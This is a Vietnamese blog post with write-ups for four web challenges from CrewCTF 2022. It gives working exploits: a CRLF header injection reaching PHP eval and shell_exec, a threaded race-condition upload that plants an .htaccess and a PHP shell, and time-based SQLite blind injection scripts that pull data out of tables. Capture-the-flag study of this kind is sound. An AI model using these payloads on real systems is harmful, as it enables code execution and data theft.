Home CrewCTF 2022
Post
Cancel
crewctf2022 logo

CrewCTF 2022

Ở post mình sẽ viết writeup cho 4/7 bài web của giải crewctf2022 mà mình giải được.

1. CuaaS

Bài này chỉ đơn giản là đọc và hiểu được cách hoạt động của trang web thì sẽ giải ra.

http://193.105.207.19:5001/

Source code

Download

Overview

overview overview

Phân tích

Đề cho chúng ta hai file index.php, cleaner.phpphp.ini - một file để cấu hình php web server

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if($_SERVER['REQUEST_METHOD'] == "POST" and isset($_POST['url']))
    {
        clean_and_send($_POST['url']);
    }

    function clean_and_send($url){
            $uncleanedURL = $url; // should be not used anymore
            $values = parse_url($url);
            $host = explode('/',$values['host']);
            $query = $host[0];
            $data = array('host'=>$query);
            $cleanerurl = "http://127.0.0.1/cleaner.php";
            $stream = file_get_contents($cleanerurl, true, stream_context_create(['http' => [
            'method' => 'POST',
            'header' => "X-Original-URL: $uncleanedURL",
            'content' => http_build_query($data)
            ]
            ]));
                echo $stream;
            }


?>

Chức năng: nhận biến url từ method POST sau đó đưa vào hàm clean_and_send để xử lí. Hai dòng code đáng chú ý là $uncleanedURL = $url;'header' => "X-Original-URL: $uncleanedURL", biến url gửi lên server được đưa trực tiếp vào header option của stream_context_create và context này dùng làm tham số thứ 3 cho file_get_contents với filenamehttp://127.0.0.1/cleaner.php -> có thể hiểu là gửi POST request tới http://127.0.0.1/cleaner.php dựa trên context.

cleaner.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){

die("<img src='https://imgur.com/x7BCUsr.png'>");

}


echo "<br>There your cleaned url: ".$_POST['host'];
echo "<br>Thank you For Using our Service!";


function tryandeval($value){
                echo "<br>How many you visited us ";
                eval($value);
        }


foreach (getallheaders() as $name => $value) {
    if ($name == "X-Visited-Before"){
        tryandeval($value);
    }}
?>

File sẽ check xem nếu tồn tại header X-Visited-Before thì gọi hàm tryandeval() -> eval() được thực thi. Vì vậy mục tiêu của mình sẽ làm sao cho xuất hiện được header này và RCE tìm flag.

Quay lại đọc docs của stream_context_create mình tìm ra được cách để truyền nhiều header

File php.ini mà bài cung cấp disable 1 vài functions:

1
disable_functions = proc_open, popen, disk_free_space, diskfreespace, set_time_limit, leak, tmpfile, exec, system, passthru, show_source, system, phpinfo, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority

Nhưng vẫn “chừa” lại 1 vài hàm chẳng hạn như shell_exec có thể dùng được.

Khai thác

1
2
    $url = "http://example.com\r\nX-Visited-Before: echo shell_exec('cat /maybethisistheflag');";
    echo urlencode($url);  

Kết quả:

reponse response

crew{crlF_aNd_R357r1C73D_Rc3_12_B0R1nG}


2. Uploadz

Bài này thuộc dạng “race condition with file upload”, các bạn chưa quen với race condition thì có thể đọc sơ qua bài viết này

https://uploadz-web.crewctf-2022.crewc.tf/

Source code

Download

Overview

overview overview

Phân tích

Bài cho các file: index.php, .htaccess, my-apache2.conf và một vài file khác để dựng local.

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
 function create_temp_file($temp,$name){
    $file_temp = "storage/app/temp/".$name;
    copy($temp,$file_temp);
    
    return $file_temp;
  }
  function gen_uuid($length=6) {
    $keys = array_merge(range('a', 'z'), range('A', 'Z'));
    for($i=0; $i < $length; $i++) {
        $key .= $keys[array_rand($keys)];
        
    }
    return $key;
}
  function move_upload($source,$des){
    $name = gen_uuid();
    $des = "storage/app/uploads/".$name.$des;
    copy($source,$des);
    sleep(1);// for loadblance and anti brute
    unlink($source);
    return $des;
  }
  if (isset($_FILES['uploadedFile']))
  {
    // get details of the uploaded file
    $fileTmpPath = $_FILES['uploadedFile']['tmp_name'];      
    $fileName = basename($_FILES['uploadedFile']['name']);   
    $fileNameCmps = explode(".", $fileName);                 
    $fileExtension = strtolower(end($fileNameCmps));         
    

    $dest_path = $uploadFileDir . $newFileName;              
    $file_temp = create_temp_file($fileTmpPath, $fileName); 
    echo "your file in ".move_upload($file_temp,$fileName);
    
  }
  if(isset($_GET["clear_cache"])){
    system("rm -r storage/app/uploads/*");
  }
?>

Khi một file được upload lên server thì sẽ được xử lí như sau:

  • Copy file từ vị trí mặc định (được config trong php khi upload lên server) đến đường dẫn storage/app/temp/ với tên là tên của file upload (tạm gọi file này là file copy).
  • Di chuyển file copy vừa được tạo đến storage/app/uploads/, tên file sẽ được thêm vào trước một random string.
  • Sau 1s, tiến hành xóa file copy.

Dockerfile:

1
2
3
4
RUN chmod 777 /var/www/html/storage/app/temp/
RUN chmod 777 /var/www/html/storage/app/uploads/
RUN chmod 555 /var/www/html/index.php
RUN chmod 555 /var/www/html/.htaccess

Từ file docker này mình thấy được index.php, .htaccess ở thư mục /var/www/html/ chỉ có quyền read và execute. Trong khi ở 2 thư mục tempuploads thì có full permission.

my-apache2.conf:

1
2
3
4
5
<Directory /var/www/html>
    Options Indexes FollowSymLinks
    AllowOverride All
    Require all granted
</Directory>

Đoạn code cấu hình này có nghĩa là nếu có 1 request nào đó yêu cầu 1 file/thư mục thuộc /var/www/html hoặc subfolder của /var/www/html thì server sẽ tìm các file .htaccess trong /var/www/html hoặc subfolder tùy thuộc vào vị trí file được request sau đó dùng nó để overwrite các settings của Apache. Các bạn có thể xem 1 ví dụ tại đây.

.htaccess:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    RewriteCond %{REQUEST_FILENAME} -f
    RewriteCond %{REQUEST_FILENAME} !/storage/app/temp/.*
    RewriteCond %{REQUEST_FILENAME} !/storage/app/uploads/.*

    RewriteRule !^index.php index.php [L,NC]

    
    RewriteCond %{REQUEST_FILENAME} -f
    RewriteCond %{REQUEST_FILENAME} \.php$
    RewriteRule !^index.php index.php [L,NC]


    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteRule ^ index.php [L]

File setting này sẽ thực hiện việc check như sau:

  • 4 dòng đầu: nếu requested file không tồn tại trong /storage/app/temp/ hoặc /storage/app/uploads/ thì redirect đến index.php
  • 3 dòng tiếp: nếu requested file kết thúc bằng .php thì redirect đến index.php
  • 2 dòng cuối: nếu requested file không tồn tại thì redirect đến index.php

Các hướng thử tiếp cận:

  • Upload 1 file php sau đó access tới storage/app/uploads/<filename>.php để thực thi code -> như đã nói ở trên cách này sẽ không khả thi vì không thỏa điều kiện thứ hai đã đề cập.
  • Thử overwrite file .htaccess ở /var/www/html/ bằng path traversal để tự config lại -> cách này cũng không khả thi vì sẽ có một random string thêm vào trước tên file và ta không có quyền write ở thư mục này.

Sau 1 hồi đọc lại source thì mình mới nhận ra dụng ý của tác giả. Tại sao ta không move trực tiếp file upload từ vị trí mặc định được cấu hình trong php (ở /tmp) đến storage/app/uploads/ mà phải tạo thêm storage/app/temp/ ?. Một điểm đáng chú ý nữa là server sẽ sleep(1) sau khi copy($source,$des); rồi mới unlink($source); -> race condition

Cụ thể hơn cách khai thác của mình như sau:

  • file exp.php3 chứa đoạn code để RCE.
  • file .htaccess sẽ cấu hình để tất cả các file .php3 thực thi được php code.
  • Dùng 3 thread: thread 1 và 2 dùng để upload đồng thời hai file exp.php3.htaccess -> 2 file này sẽ được copy đến storage/app/temp/, thread còn lại sẽ access tới storage/app/temp/exp.php3 để lấy response.

Khai thác

.htaccess:

1
AddType application/x-httpd-php .php3

exp.php3

1
<?php phpinfo(); ?>

exploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pyimport os
from threading import Thread
import requests


NumberofThreads = 10
TARGET = "https://uploadz-web.crewctf-2022.crewc.tf/"

def upload_htaccess():
    r = requests.post(TARGET, files = {"uploadedFile": open(".htaccess", "r")})
    
def upload_php3():
    r = requests.post(TARGET, files = {"uploadedFile": open("exp.php3", "r")})

def get_request():
    r = requests.get(TARGET + "storage/app/temp/exp.php3")
    f = open("phpinfo.html", "w")
    f.write(r.text)
    #print(r.text)

for i in range(NumberofThreads):  
    t1 = Thread(target=upload_htaccess)
    t2 = Thread(target=upload_php3)
    t3 = Thread(target=get_request)
    t1.start()
    t2.start()
    t3.start()

Đầu tiên cần thông tin về các disable_functions nên sẽ dùng phpinfo();

phpinfo phpinfo

Sau đó chỉnh lại file exp.php3

1
<?php system("cat /flag.txt"); ?>

result result

crewctf{upload_rce_via_race}


3. Marvel Pick

Bài này là một dạng sqlite injection

http://104.155.50.189:1337/

Overview

overview overview

Phân tích

Ctrl + U -> để view source trang web.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<script>
    const marvel = [
        'spiderman', 'ironman', 'captainamerica', 'nickfury'
    ]

    function fetchMarvelVotesCount (marvel) {
        fetch(`/api.php?character=${marvel}`)
            .then(response => response.json())
            .then(results => {
                const vote_count_html = document.querySelector(`#vote-count-${marvel}`)
                const total_vote = results.data.vote_count

                if (total_vote > 1) {
                    vote_count_html.innerHTML = `${total_vote} Votes`
                } else {
                    vote_count_html.innerHTML = `${total_vote} Vote`
                }
            })
    }

    function vote (marvel) {
        const formData = new FormData()
        formData.append('character', marvel)

        fetch('/api.php', {
            method: 'POST',
            body: formData
        })
            .then(response => response.json())
            .then(result => {
                if (result.success) {
                    fetchMarvelVotesCount(marvel)
                    alert('successful voting')
                } else {
                    alert(result.error)
                }
            })
            .catch(error => {
                alert('error');
            });

    }

    marvel.forEach(item => {
        fetchMarvelVotesCount(item)
    })
</script>

Khi ấn Vote sẽ có 2 request được gửi đi. Burp requests

Sau một hồi fuzz thì mình thấy có lỗi sqli ở parameter character

fuzz request 1 sql error

Bên cạnh đó các kí tự *,-,/,=,or, select, where đều bị replace thành "".

Tiếp tục thử các payload thì mình nhận ra nếu câu truy vấn thành công thì sẽ trả về name bằng chính giá trị của character.

fuzz request 2 success

fuzz request 3 sql error

và cũng bằng cách này ta xác định được server dùng sqlite.

fuzz request 4 sqlite detect

Bài này để giải mình chọn cách khai thác theo time based sqli với hàm RANDOMBLOB()IIF()

Lúc giải mình không viết script để solve từ a-z mà làm từng đoạn nhưng mình vẫn sẽ để payload tích cóp được để tìm table name, column name, … ở bên dưới.

Payload cho sqlite injection

Table:

1
2
3
4
5
# find length
?character='||IIF((SELECT LENGTH(tbl_name) FROM sqlite_master LIMIT {index},1) LIKE {len},1,UPPER(HEX(RANDOMBLOB(99999))))||'

#find table name 
'||IIF((SELECT HEX(SUBSTR(tbl_name,{pos},1)) FROM sqlite_master LIMIT {index},1) LIKE HEX('{c}'),1,UPPER(HEX(RANDOMBLOB(99999))))||'

Column:

1
2
#find column name 
'||IIF((SELECT HEX(SUBSTR(name,{pos},1)) FROM pragma_table_info('<table name goes here>') LIMIT {index},1) LIKE HEX('{char}'),1,UPPER(HEX(RANDOMBLOB(99999))))||'

Sau một hồi bruteforce để tìm thông tin thì mình tổng kết lại được như sau:

Number of table: 2

  • characters
  • flags

Number of flags’s column: 2

  • id
  • value

Khai thác

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
from time import time
from string import printable

TARGET = "http://104.155.50.189:1337/api.php"

def encode_all(string):
    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

for i in range(1,34):  
    if(flag.endswith('}')):
        break
    for c in printable:
        if c == '\'':
            continue
        query = f"'||IIF((SELECT HEX(SUBSTR(value,{i},1)) FROM flags) LIKE HEX('{c}'),1,UPPER(HEX(RANDOMBLOB(99999))))||'"
        # print(query)
        query_urlencoded = encode_all(query)

        start = time()
        r = requests.get(TARGET + "?character=" +query_urlencoded)
        end = time()
        # print(end - start)
        if(end - start < 0.8):
            flag += c
            print(flag)
            break        

crew{so_its_n0t_on3_line_for_exp}


4. Marvel Pick Again

Bài này thì cũng tương tự bài trước chỉ khác là length của character phải <= 75

fuzz request No No NO

Nên việc mình làm là tối ưu lại length của payload

Khai thác

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
from time import time
from string import printable
TARGET = "http://104.155.50.189:3390/api.php"

for i in range(1,41):  
    if(flag.endswith('}')):
        break
    for c in printable:
        if c != '\'' and c != '*' and c != '-' and c != '/' and c!= ';' and c!= '=':
            query = f"'||IIF((SELECT SUBSTR(value,{i},1) FROM flags)<>'{c}',1,RANDOMBLOB(999999))||'"
            query_urlencoded = encode_all(query)

            start = time()
            r = requests.get(TARGET + "?character=" +query_urlencoded)
            end = time()
            #print(end - start)
            if(end - start > 0.8):
                flag += c
                print(flag)
                break

crew{y3sss_y0u_g0t_m3_h1_1_st4rn_n_n1n0}

This post is licensed under CC BY 4.0 by the author.

NoCookies - DiceCTF2022

PHP POP Chain